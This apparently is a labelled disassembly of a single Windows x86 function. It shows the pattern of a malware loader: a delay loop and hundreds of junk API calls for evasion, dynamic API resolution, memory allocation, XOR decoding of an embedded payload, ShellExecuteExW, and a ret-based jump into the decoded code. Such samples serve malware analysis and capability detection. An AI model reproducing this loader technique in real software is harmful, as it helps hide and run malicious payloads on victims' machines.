Function at 0x4d5a6c
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff58
push ebx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0x8a58a
push 0x4d6448
push 0x4d6458
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x20], 0xb1670
mov dword [ebp - 0x28], 0x2f
mov dword [ebp - 0x2c], 0x65
mov dword [ebp - 0x30], 0x72
mov dword [ebp - 0x18], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x2735b4d
jne 0x4d5abb
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0x4d646c
push 0xa
mov ecx, dword [0x4da668]
mov dl, 1
mov eax, dword [0x41ac2c]
call fcn.0041fb60
mov dword [ebp - 8], eax
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
push 0
call sub.gdi32.dll_GetBkMode
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 0x1001
mov dword [ebp - 0x44], 0xaf
mov eax, dword [ebp - 0x44]
sub eax, 0x6f
push eax
mov eax, dword [ebp - 0x40]
dec eax
push eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x2c]
push eax
push 0
push 0xffffffffffffffff
call dword [ebp - 0x48]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
call fcn.0041f498
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
add dword [ebp - 0xc], 4
mov eax, dword [ebp - 0x44]
sub eax, 0x6f
push eax
mov eax, dword [ebp - 0x40]
dec eax
push eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x2c]
push eax
push 0
push 0xffffffffffffffff
call dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, 4
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
call fcn.00407294
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x34]
jae 0x4d639c
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x2c]
call fcn.0040728c
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x3c], eax
push 0
call sub.gdi32.dll_DeleteEnhMetaFile
mov ebx, eax
add ebx, dword [ebp - 0x2c]
push 0
call sub.gdi32.dll_DeleteEnhMetaFile
sub ebx, eax
add dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x30]
add dword [ebp - 0x38], eax
jmp 0x4d635a
lea eax, [ebp - 0x8c]
xor ecx, ecx
mov edx, 0x3c
call fcn.00402c88
mov dword [ebp - 0x88], 0x400
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jae 0x4d63fa
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add dword [edx], eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
xor dword [edx], eax
add dword [ebp - 0x18], 4
push 0
call sub.gdi32.dll_DeleteEnhMetaFile
mov ebx, eax
add ebx, 4
push 0
call sub.gdi32.dll_DeleteEnhMetaFile
sub ebx, eax
add dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jb 0x4d63c0
mov dword [ebp - 0x24], 0x1000
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
add eax, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x8c], 0x3c
mov eax, 0x4d6470
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x8c]
push eax
call sub.shell32.dll_ShellExecuteExW
mov eax, eax
push dword [0x4da668]
mov eax, eax
push 0
mov eax, eax
push dword [ebp - 4]
ret